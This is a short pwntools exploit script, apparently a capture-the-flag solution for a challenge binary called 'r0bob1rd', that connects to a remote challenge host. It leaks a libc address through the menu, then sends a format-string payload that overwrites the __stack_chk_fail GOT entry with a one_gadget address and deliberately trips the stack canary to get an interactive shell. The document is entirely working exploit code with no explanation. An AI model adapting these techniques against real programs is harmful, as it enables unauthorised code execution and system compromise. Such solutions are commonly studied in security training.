R0bob1rd

#!/usr/bin/env python3
from pwn import *

exe = ELF("./r0bob1rd")
libc = ELF("./glibc/libc.so.6")

context.binary = exe
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

gdb_script = '''
b main
continue
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote("154.57.164.72", 31149)

    return r

io = conn()


io.recvline(b'> ')
io.sendline(b'14')
io.recvuntil(b'You\'ve chosen: ')

libc_leak = u64(io.recvline().strip(b'\n').ljust(8, b'\x00'))
libc.address = libc_leak - 0x1ec980
one_gadget = libc.address + 0xe3b01

payload = fmtstr_payload(8, {exe.got['__stack_chk_fail']: one_gadget}, write_size='short')
payload += b"A" * (106 - len(payload))

io.sendlineafter(b'> ', payload)

io.interactive()